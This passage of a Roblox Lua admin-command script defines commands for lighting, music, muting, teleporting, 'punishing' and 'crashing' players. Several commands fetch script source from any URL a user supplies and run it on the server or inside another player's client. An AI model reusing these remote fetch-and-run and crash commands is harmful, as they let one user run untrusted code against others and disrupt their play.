            local sp = ScreenGui("ScrollingFrame", UDim2.new(.3, 0, 1, 0), UDim2.new(.7, 0, 0, 0), guiobj, content)
            sp.Surface.ScrollingFrame.BackgroundTransparency = .5
            sp.Surface.ScrollingFrame.BackgroundColor3 = Color3.new()
            sp.Surface.ScrollingFrame.CanvasSize = sp.Surface.ScrollingFrame.CanvasSize + UDim2.new(0, 0, 4, 0)
            for i,v in pairs(logs[args[1]]) do
                print(i.." t")
                local tl = Instance.new("TextLabel", sp.Surface.ScrollingFrame)
                tl.TextColor3 = Color3.new(1, 1, 1)
                tl.Size = UDim2.new(1, 0, .02, 0)
                tl.Position = UDim2.new(0, 0, tl.Size.Y.Scale*(i-1), 0)
                tl.BackgroundTransparency = .8
                tl.Text = v
                wait()
            end

        else
            for i,v in pairs(logs) do
                print("Logs for: "..i)
            end
        end

end)
AddCMD("sing", "Sing", "Makes a player sing. Use; sing/who/id/vol/", "ToPlayer", function(find, args)
    local s = Instance.new("Sound")
    local vol = 1
    if args[2] then vol = args[2] end
    if find ~= plyr and find.Character:FindFirstChild("Head") and args[1] then
        s.Parent = find.Character.Head
        s.SoundId = "http://www.roblox.com/asset?id="..args[1]
        s.Volume = vol
        s:Play()
    elseif Effigy and Effigy:FindFirstChild("MyHead") and args[1] then
        s.Parent = Effigy.MyHead
        s.SoundId = "http://www.roblox.com/asset?id="..args[1]
        s.Volume = vol
        s:Play()
    end
end)
AddCMD("smusic", "Music", "Searches music. Use; ", "General", function(args)
    local vol = args[2]
    if vol == nil then vol = 1 end
    local MSearchSource = [[
    hs = game:GetService("HttpService")
    test = hs:GetAsync("http://rproxy.pw/catalog/json?SortType=0&Keyword=KWORD&Category=9&ResultsPerPage=20", true)
    da = hs:JSONDecode(test)

    local ALL = Instance.new("StringValue", script)
    for i,v in pairs(da) do
        local a = Instance.new("StringValue", ALL)
        a.Name = v["Name"]
        a.Value = "http://www.roblox.com/asset?id="..v["AssetId"]
    end
    ALL.Name = "ALL"
    ]]
    MSearchSource = string.gsub(MSearchSource, "KWORD", args[1])
    local ns = NewScript(MSearchSource)
    repeat wait() until ns:FindFirstChild("ALL")

    local cursel = nil
    local sp = ScreenGui("ScrollingFrame", UDim2.new(.3, 0, 1, 0), UDim2.new(.7, 0, 0, 0), guiobj, content)
    sp.Surface.ScrollingFrame.BackgroundTransparency = .5
    sp.Surface.ScrollingFrame.BackgroundColor3 = Color3.new()
    --sp.Surface.CanvasSize = sp.Surface.CanvasSize

    local Looped = false
    local loopg = Instance.new("TextButton", sp.Surface)
    loopg.Name = "LoopG"
    loopg.Size = UDim2.new(.1, 0, .1, 0)
    loopg.Position = sp.Surface.ScrollingFrame.Position - UDim2.new(loopg.Size.X.Scale)
    loopg.Text = "Looped: false"
    loopg.BackgroundColor3 = Color3.new(0,0,0)
    loopg.TextColor3 = Color3.new(1,1,1)

    loopg.MouseEnter:connect(function()
        cursel = loopg
    end)

    loopg.MouseLeave:connect(function()
        if cursel == loopg then
            cursel = nil
        end
    end)

    for i,v in pairs(ns.ALL:GetChildren()) do
        local tl = Instance.new("TextLabel", sp.Surface.ScrollingFrame)
        tl.Name = v.Value
        tl.TextColor3 = Color3.new(1, 1, 1)
        tl.Size = UDim2.new(1, 0, .02, 0)
        tl.Position = UDim2.new(0, 0, tl.Size.Y.Scale*(i-1), 0)
        tl.BackgroundTransparency = .8
        tl.Text = v.Name

        tl.MouseEnter:connect(function()
            cursel = tl
        end)

        tl.MouseLeave:connect(function()
            if cursel == tl then
                cursel = nil
            end
        end)
        ns:Destroy()

        wait()
    end

    local mcon
    mcon = mouse.Button1Down:connect(function()
        if cursel and cursel.Name == "LoopG" then
            if Looped == false then
                Looped = true
                loopg.Text = "Looped: true"
            else
                Looped = false
                loopg.Text = "Looped: false"
            end
        elseif cursel and cursel.Name == "Volume" then
            local kdown
            mouse.KeyDown:connect(function(key)
            end)
        elseif cursel then

            local newsound = Instance.new("Sound", Workspace)
            newsound.Name = "GOCSound"
            newsound.SoundId = cursel.Name
            newsound.Volume = vol
            if Looped then newsound.Looped = true end
            newsound:Play()

            sp:Remove()
            mcon:disconnect()
        end

    end)
end)
AddCMD("tryplr", "Try Player", "Trys a player as another. Use; tryplr/plyr/plyr", "ToPlayer", function(find, args)
        local guy = find
		local guy2 = lookFor(args[1], game.Players)

		if guy and guy2 then
			local val = guy2.userId
			local trysource = [[
				player = game.Players.PLAYER
				player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..VALUE
				player:LoadCharacter()
				]]
		    trysource = string.gsub(trysource, "PLAYER", guy.Name)
			trysource = string.gsub(trysource, "VALUE",  val)
			NewScript(trysource)

		end
end)
AddCMD("resp", "Respawn", "Respawns a player", "ToPlayer", function(find, args)
    NewScript("game.Players."..find.Name..":LoadCharacter() script:Destroy()" )
end)
AddCMD("ttx", "ttx Immunity", "Idk", "ToPlayer", function(find, args)
    local nmn = Instance.new("Model", Workspace)
    local adj = {"Non-Existant", "Hidden", "Mystic", "Unseen", "Dark"}
    local namz = {"Shadow", "Darkness", "Shadows", "Wisp", "Ghost", "Wind"}
    nmn.Name = adj[math.random(1, #adj)]..namz[math.random(1, #namz)]
    find.Character.Parent = Instance.new("Model", Workspace)
end)
AddCMD("ball", "Ball", "Balls a player", "ToPlayer", function(find, args)
    NewLocalScript(find.Backpack, BallSource)
end)
AddCMD("cyborg", "Cyborg", "Adds any missing body parts", "ToPlayer", function(find, args)
        local fc = find.Character

        if not fc:FindFirstChild("Right Arm") then
            local nbp = Instance.new("Part", fc)
            nbp.FormFactor = "Symmetric"
            nbp.Size = Vector3.new(1, 2, 1)
            nbp.Reflectance = .3
            nbp.Name = "Right Arm"
            nbp.BottomSurface = "Smooth"

            local mot = Instance.new("Motor6D", fc.Torso)
            mot.Name = "Right Shoulder"
            mot.Part0 = fc.Torso
            mot.Part1 = nbp
            mot.C0 = CFrame.new(1.5, 0, 0)

            fc.Animate.Disabled = true
            wait()
            fc.Animate.Disabled = false
        end
        if not fc:FindFirstChild("Left Arm") then
            local nbp = Instance.new("Part", fc)
            nbp.FormFactor = "Symmetric"
            nbp.Size = Vector3.new(1, 2, 1)
            nbp.Reflectance = .3
            nbp.Name = "Left Arm"
            nbp.BottomSurface = "Smooth"

            local mot = Instance.new("Motor6D", fc.Torso)
            mot.Name = "Left Shoulder"
            mot.Part0 = fc.Torso
            mot.Part1 = nbp
            mot.C0 = CFrame.new(-1.5, 0, 0)
        end
        if not fc:FindFirstChild("Right Leg") then
            local nbp = Instance.new("Part", fc)
            nbp.FormFactor = "Symmetric"
            nbp.Size = Vector3.new(1, 2, 1)
            nbp.Reflectance = .3
            nbp.Name = "Right Leg"
            nbp.BottomSurface = "Smooth"

            local mot = Instance.new("Motor6D", fc.Torso)
            mot.Name = "Right Hip"
            mot.Part0 = fc.Torso
            mot.Part1 = nbp
        end
        if not fc:FindFirstChild("Left Leg") then
            local nbp = Instance.new("Part", fc)
            nbp.FormFactor = "Symmetric"
            nbp.Size = Vector3.new(1, 2, 1)
            nbp.Reflectance = .3
            nbp.Name = "Left Leg"
            nbp.BottomSurface = "Smooth"

            local mot = Instance.new("Motor6D", fc.Torso)
            mot.Name = "Left Hip"
            mot.Part0 = fc.Torso
            mot.Part1 = nbp
        end

end)
AddCMD("mute", "Mute", "Mutes a player. Use; mute/plyr/duration/", "ToPlayer", function(find, args)
		local dur = args[1]
		if dur == nil then dur = 9999999 end

		local ms = MuteSource
		ms = string.gsub(ms, "duration = 99", "duration = "..dur)
        NewLocalScript(find.Backpack, ms)
end)
AddCMD("unmute", "UnMute", "Unmutes a player", "ToPlayer", function(find, args)
        NewLocalScript(find.Backpack, UnmuteSource)
end)
local script_list = {}
AddCMD("newhl", "New Http Local", "Saves an http local script for running later, Use; newhl/name/URL/", "General", function(args)
        if args[1] and args[2] then
            local src = [[
                hs = game:GetService("HttpService")
                url = hs:GetAsync("LINKURL", true)

                script:ClearAllChildren()
                ds = Instance.new("StringValue", script)
                ds.Name = "SRC"
                ds.Value = url
            ]]
            src = string.gsub(src, "LINKURL", args[2])
            local hsrc = NewScript(src)
            local strval = hsrc:WaitForChild("SRC")

            script_list[args[1]] = {["Local"] = true, ["Source"] = strval.Value}
            Output("LocalScript "..args[1].." was added to list", plyr)
        end
end)
AddCMD("newh", "New Http Script", "Saves an http script for running later. Use; newh/name/URL/", "General", function(args)
        if args[1] and args[2] then
            local src = [[
                hs = game:GetService("HttpService")
                url = hs:GetAsync("LINKURL", true)

                script:ClearAllChildren()
                ds = Instance.new("StringValue", script)
                ds.Name = "SRC"
                ds.Value = url
            ]]
            src = string.gsub(src, "LINKURL", args[2])
            local hsrc = NewScript(src)
            local strval = hsrc:WaitForChild("SRC")

            script_list[args[1]] = {["Local"] = nil, ["Source"] = strval.Value}
            Output("Script "..args[1].." was added to list", plyr)
        end
end)
AddCMD("run", "Run", "Runs a saved script. Use; run/scriptname/", "General", function(args)
        local sc = script_list
        if script_list[args[1]] then
            if sc[args[1]] and sc[args[1]]["Local"] == true then
                NewLocalScript(plyr.Backpack, sc[args[1]]["Source"])
            elseif sc[args[1]] and not sc[args[1]]["Local"] then
                NewScript(sc[args[1]]["Source"])
            end
        end
end)
AddCMD("runto", "RunScriptOn", "Runs a saved local script on a player. Use; runto/scriptname/plyr/", "ToPlayer", function(find, args)
        local sc = script_list
        if script_list[args[1]] then
            if sc[args[1]] and sc[args[1]]["Local"] == true then
                NewLocalScript(find.Backpack, sc[args[1]]["Source"], find.Name)
            end
        end
end)
AddCMD("nosounds", "No Sounds", "Removes all Workspace sounds", "General", function(args)
        function gothru(o)
            for _,v in pairs(o:GetChildren()) do
                if v.ClassName == "Sound" then
                    v:Stop()
                    v:Remove()
                end
                if #v:GetChildren() > 0 then
                    gothru(v)
                end
            end
        end

        gothru(Workspace)
end)
AddCMD("night", "Night", "Makes it night", "General", function(args)
        game.Lighting.TimeOfDay = 19
end)
AddCMD("day", "Day", "Makes it day", "General", function(args)
        game.Lighting.TimeOfDay = 12
end)
AddCMD("midnight", "Midnight", "Makes it midnight", "General", function(args)
        game.Lighting.TimeOfDay = 24
end)
AddCMD("time", "Time", "Changes TimeOfDay. Use; time/hour/", "General", function(args)
        game.Lighting.TimeOfDay = args[1]
end)
AddCMD("fogend", "FogEnd", "Changes FogEnd. Use; fogend/number/", "General", function(args)
        game.Lighting.FogEnd = args[1]
end)
AddCMD("fogcol", "FogColor", "Changes FogColor. Use; fogcol/r,g,b/", "General", function(args)

        function sep(str, sp)
            local val1
            local val2
            local val3

            local fsp = string.find(str, sp)
            val1 = string.gsub(string.sub(str, 1, fsp-1), " ", "")
            str = string.sub(str, fsp+1)
            fsp = string.find(str, sp)
            val2 = string.gsub(string.sub(str, 1, fsp-1), " ", "")
            str = string.sub(str, fsp+1)
            val3 = string.gsub(str, " ", "")

            print("val1="..val1, "val2="..val2, "val3="..val3)
            return val1, val2, val3
        end

        local r,g,b = sep(args[1], ",")
        game.Lighting.FogColor = Color3.new(tonumber(r)/255, tonumber(g)/255, tonumber(b)/255)
end)
AddCMD("amb", "Ambient", "Changes Ambient. Use; amb/r,g,b/", "General", function(args)

        function sep(str, sp)
            local val1
            local val2
            local val3

            local fsp = string.find(str, sp)
            val1 = string.gsub(string.sub(str, 1, fsp-1), " ", "")
            str = string.sub(str, fsp+1)
            fsp = string.find(str, sp)
            val2 = string.gsub(string.sub(str, 1, fsp-1), " ", "")
            str = string.sub(str, fsp+1)
            val3 = string.gsub(str, " ", "")

            print("val1="..val1, "val2="..val2, "val3="..val3)
            return val1, val2, val3
        end

        local r,g,b = sep(args[1], ",")
        game.Lighting.Ambient = Color3.new(tonumber(r)/255, tonumber(g)/255, tonumber(b)/255)
end)
AddCMD("ls", "LocalScript", "Runs a localscript on a player. Use; ls/plyr/script/", "ToPlayer", function(find, args)
        if locscr_base and find:FindFirstChild("Backpack") then
	        	NewLocalScript(find.Backpack, string.sub(msg, 4), find.Name)
        end
end)
AddCMD("cmds", "Commands", "Shows a list of commands", "General", function(args)
        print(" -[ COMMAND LIST ]- ")
        local cnt = 1
        for i,v in pairs(CMDlist) do
            print(cnt.." "..i..": "..v["Name"].." "..v["Description"])
            print(" ")
            cnt = cnt + 1
        end
        Output("Commands printed; press F9 to view the list", plyr)
end)
AddCMD("rej", "Rejoin", "Rejoins a player. Use; rej/plyr/placeid/", "ToPlayer", function(find, args)
        local plc = args[1]
		if plc == nil or plc == "" then plc = game.PlaceId end

		if find then
			local rejsource = [[
				player = game.Players.PLAYER
				plc = VALUE
				game:GetService('TeleportService'):Teleport(plc, player)
				]]
			rejsource = string.gsub(rejsource, "PLAYER", find.Name)
			rejsource = string.gsub(rejsource, "VALUE", plc)
			NewScript(rejsource)

		end
end)
punished = {}
AddCMD("punish", "Punish", "Disables a player's spawning", "ToPlayer", function(find, args)
        find.Character = nil
        punished[find.Name] = true

        local ca
        ca = find.CharacterAdded:connect(function(char)
            if punished[find.Name] then
                find.Character = nil
            else
                ca:Disconnect()
            end
        end)


end)
AddCMD("unpunish", "UnPunish", "Unpunishes a player", "ToPlayer", function(find, args)

        punished[find.Name] = nil
end)
AddCMD("bsod", "Blue Screen of Death", "Crashes a player ( may change to lag )", "ToPlayer", function(find, args)

    NewLocalScript(find.Backpack, BSoDSource, find.Name)

end)
AddCMD("probe", "Probe", "Probes you", "General", function(args)
    if Effigy and Effigy.Parent == Workspace and not probe then
        probe = true
        local float = New("BodyVelocity", plyr.Character.Torso, "Float")
        float.maxForce = Vector3.new(9999, 9999, 9999)
        for i = 1, 50 do
            ChangeTransparencyMod(Effigy, 1/40*i)
            float.velocity = Vector3.new(0, i, 0)
            wait()
        end
        float:Remove()

        Effigy:Remove()

        Probe()
    elseif probe then
        probe = false
    end
end)

AddCMD("terminate", "Terminate", "Terminates this script. Testing.", "General", function(args)
        game.Debris:AddItem(script, 6)
        Output("Goodbye..", plyr, 5)

end)
AddCMD("testbeam", "Terminate", "Terminates this script. Testing.", "General", function(args)
        Beam(Effigy.MyTorso.CFrame, mouse.Hit.p, Effigy, "White", "White")

end)
AddCMD("probecol", "Probe Color", "Changes probe color", "General", function(args)
        probecol = string.upper(string.sub(args[1], 1, 1))..string.sub(args[1], 2)

end)
AddCMD("ff", "ForceField", "Gives a player a forcefield", "ToPlayer", function(find, args)
        if find.Character then
            local f = Instance.new("ForceField", find.Character)
        end
end)
AddCMD("ff", "ForceField", "Gives a player a forcefield", "ToPlayer", function(find, args)
        if find.Character:FindFirstChild("ForceField") then
            find.Character.ForceField:Remove()
        end
end)
AddCMD("hk", "Hotkey", "sets a command to hotkey", "General", function(args)
        if CMDlist[args[2]] then
            HotKeys[string.lower(args[1])] = CMDlist[args[2]]
        end
end)


print("WHAT!?")



for _,v in pairs(cam:GetChildren()) do
    if v.Name == plyr.Name then v:Remove() end
end
Effigy = CreateNewChar()
BackUp = CreateNewChar()
plyr.Character.Parent = cam
plyr.Character.Humanoid.MaxHealth = math.huge
plyr.Character.Humanoid.Health = plyr.Character.Humanoid.MaxHealth
ff = Instance.new("ForceField", char)

plyr:Remove()


function Characterize()
    Effigy.Parent = Workspace
    Effigy:MakeJoints()
    Effigy.Humanoid.Health = Effigy.Humanoid.MaxHealth
    Animate(Effigy, BackUp)
end

Characterize()